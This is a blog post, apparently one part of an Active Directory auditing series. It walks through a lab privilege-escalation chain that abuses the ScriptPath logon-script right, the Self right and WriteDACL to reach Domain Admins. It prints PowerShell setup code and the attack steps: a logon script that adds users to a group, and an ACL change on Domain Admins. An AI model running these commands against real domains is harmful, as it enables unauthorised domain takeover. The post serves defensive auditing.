The ScriptPath attribute, another incredibly arcane Windows privilege

Rich
7 min readDec 24, 2022

TL;DR walkthrough of how two incredibly arcane Windows rights can potentially result in a privilege escalation path.

Welcome to Part XIII of our Auditing AD Series!

Part I: 3 warm up questions to get us started

Part II: Who can reset the CISO’s password?

Part III: Who can execute DCSync?

Part IV: Who can modify the Domain Admins group?

Part V: Domain dominance in minutes via ACL abuse (i.e. why auditing AD matters)

Part VI: Why Allow statements matter a LOT more than Deny ones

Part VII: Sneaky persistence via hidden objects in AD

Part VIII: SDDL, what is it, does it matter?

Part IX: Do you know who owns your domain?

Part X: Who can push ransomware via Group Policy?

Part XI: Free ways to simplify auditing AD

Part XII: Sidenote on arcane rights like Self

Part XIII: Sidenote on the ScriptPath right

Part XIV: Self & so called “Effective Permissions”

Part XV: Inheritance Explained & an Example

Part XVI: Summary of our Auditing AD Series

Annex A: Scrubbing Group Policy for local admins

Annex B: What Property Sets in AD are, & why they matter

Annex C: Dangerous Rights & RE GUIDs Cheatsheet

Annex D: Mishky’s Blue Team Auditor

Annex E: Even ChatGPT gets this stuff wrong

Annex F: Get-ADPermission Cheatsheet

Annex G: Mishky’s Red Team Enumerate & Attack tools

Background

Here at test.local our 6 year old Global Admin recently threw a crazy idea out there; could an attacker abuse the specific right that allows a user to set a logon script on another user? This is specifically WriteProperty with ObjectType bf9679a8–0de6–11d0-a285–00aa003049e2.

We covered the rather obscure Self right previously here. Mishky thought it’d be interesting and educational to try daisy chaining both of these together.

Lab Setup

We are going to create a rather obscure privilege escalation path in AD. We are going to give userX the right to set a logon script on userY’s account. We are going to give userY the right to add or remove themselves from GroupZ. We are going to make GroupZ ‘self-managing’, aka members of GroupZ can add or remove other users from that group. We are going to give GroupZ WriteDACL on the Domain Admins group, aka GroupZ can modify the ACL on Domain Admins.

To help visualize this:

  • userX = helpdesk
  • userY = Test.Dummy
  • groupZ = Management

If you want to follow along or are just curious how we at test.local set this up, please see the below:

Give the user helpdesk the right to set a logon script on Test Dummy’s account:

Import-Module ActiveDirectory
Set-Location AD:
$victim = (Get-ADUser "Test.Dummy" -Properties *).DistinguishedName
#Add ACL rule for the right to set a startup script
$acl = Get-ACL "$victim"
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity "helpdesk").SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"WriteProperty","ALLOW",([GUID]("bf9679a8–0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL "$victim" $acl

Give Test Dummy the right to add themselves to the group Management:

Import-Module ActiveDirectory
Set-Location AD:
#Give a user Self over a given group
$victim = (Get-ADGroup "Management" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity "Test.Dummy").SID
#Allow Self with specific GUID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"Self","ALLOW",([GUID]("bf9679c0–0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rule
Set-ACL $victim $acl

Make the group Management “self-managing”, aka members can add/remove users from the group:

$victim = (Get-ADGroup "Management" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity "Management").SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"WriteProperty","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rule
Set-ACL $victim $acl

Give the Management group control over Domain Admins:

$victim = (Get-ADGroup "Domain Admins" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity "Management").SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"WriteDACL","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rule
Set-ACL $victim $acl

Check:

(Get-Acl (Get-ADUser "Test.Dummy").DistinguishedName).Access | Where-Object {$_.IdentityReference -like "*helpdesk*"}
(Get-Acl (Get-ADGroup "Management").DistinguishedName).Access | Where-Object {$_.IdentityReference -like "*Test.Dummy*"}
(Get-Acl (Get-ADGroup "Domain Admins").DistinguishedName).Access | Where-Object {$_.IdentityReference -like "*Management*"}

Check with BloodHound

Mishky’s PowerView shows what ‘Dangerous Rights’ helpdesk has:

Overview of the risk

Either helpdesk is a disgruntled insider or they get phished, it honestly doesn’t matter. Either way their account is the jumping off point.

The attacker will set a logon script on Test.Dummy. The first action will add Test.Dummy to the group Management. Test.Dummy has to logout and log back in before they can add other users to that group. The second time they login it will add the user helpdesk to the group Management.

Once helpdesk is a member of the group Management they can then change the ACL of the Domain Admins group, give Management the right to add users/groups to Domain Admins, and then essentially add themselves.

The potential attack

Enumerating is the hard part. The attacker will first set the logon script:

Set-ADUser -Identity “Test.Dummy” -ScriptPath “Script.bat”

They just need a share drive somewhere on the domain that lets Domain Users modify the contents. I used NETLOGON for simplicities sake and put my logon script there. Others on Google have used a UNC path, for example to an *.exe that they are sharing off their own system.

Microsoft states

“The default location for local logon scripts is the Systemroot\System32\Repl\Imports\Scripts folder. This folder is not created on a new installation of Windows. Therefore, the SystemRoot\System32\Repl\Imports\Scripts folder must be created and shared out by using the Netlogon share name.

If you do not want to create the Netlogon share in the default location, put the logon script in any folder that the user can access during logon, and then share this folder.”

Personally I had issues getting a logon script to run unless it was in NETLOGON. However given what Microsoft and Google say I would not take this as definitive that logon scripts will only run out of NETLOGON.

At any rate, the attacker would put something like the below in their *.bat

PowerShell -File \\BackupDC4\NETLOGON\Script.ps1

Inside the PS1 that the *.bat points to they will put

Add-ADGroupMember -Identity "Management" -Members "Test.Dummy"

Add-ADGroupMember -Identity "Management" -Members "Helpdesk"

That’s it. They will now wait for Test.Dummy to login twice and voila, they will be a member of Management. Two logins are required because the rights granted to Test.Dummy by membership in Management will not apply until they logout and log back in.

They can now give Management privileges to add members to Domain Admins:

#Give the Management group rights to add members to Domain Admins
$victim = (Get-ADGroup "Domain Admins" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity "Management").SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"WriteProperty","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rule
Set-ACL $victim $acl

At this point they could add themselves, dump NTDS.dit, deploy ransomware via Group Policy, really whatever they want. They may also be able to pivot into AAD depending on the exact configuration of hybrid AD.

Sidenote on AdminSDHolder

Please note that a real attacker would probably change the AdminSDHolder. I did not do that as I did not want to make a permanent change. By default the process runs every hour and sets the ACL on protected objects like Domain Admins back to what is specified in AdminSDHolder.

One can check whether the default frequency has been changed via querying the PDC:

Invoke-Command -ScriptBlock {Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\} -ComputerName TestDC

If you want to change it then create a DWORD named AdminSDProtectFrequency and set it to anything between 60 and 7200. Please note that this is NOT recommended by Microsoft.

Summary

This whole lab project was based on a crazy idea that Mishky threw out there; could an attacker abuse specifically the right to set a logon script on a user?

The answer we found is far from definitive. We could not demonstrate in test.local that a logon script will run from a location other than NETLOGON. We tried the user’s workstation’s C:\ drive, another mapped drive, and a couple different UNC paths. The only location that worked reliably was NETLOGON.

However based on what Google says I would not rule it out. If a user has this right that should not have it then I would revoke it. Mishky’s PowerView finds this by simply whitelisting groups that should be delegated rights and then checking for anything else that holds ‘Dangerous Rights’ such as this.

References:

Script-Path attribute: https://learn.microsoft.com/en-us/windows/win32/adschema/a-scriptpath

Disable NTFS inheretence: https://virot.eu/remove-ntfs-rights-inheritance-using-powershell/

Login scrips/NETLOGON location: https://serverfault.com/questions/92124/wheres-the-netlogon-folder-stored

Set a logon script: https://petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008/

Microsoft Learn RE logon scripts: https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/assign-logon-script-profile-local-user

Backstory on logon scripts: https://www.rlmueller.net/LogonScriptFAQ.htm

AdminSDHolder & SDPROP: https://petri.com/active-directory-security-understanding-adminsdholder-object/

Ned Pyle’s FAQ on SDPROP: https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/five-common-questions-about-adminsdholder-and-sdprop/ba-p/396293

--

--

Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.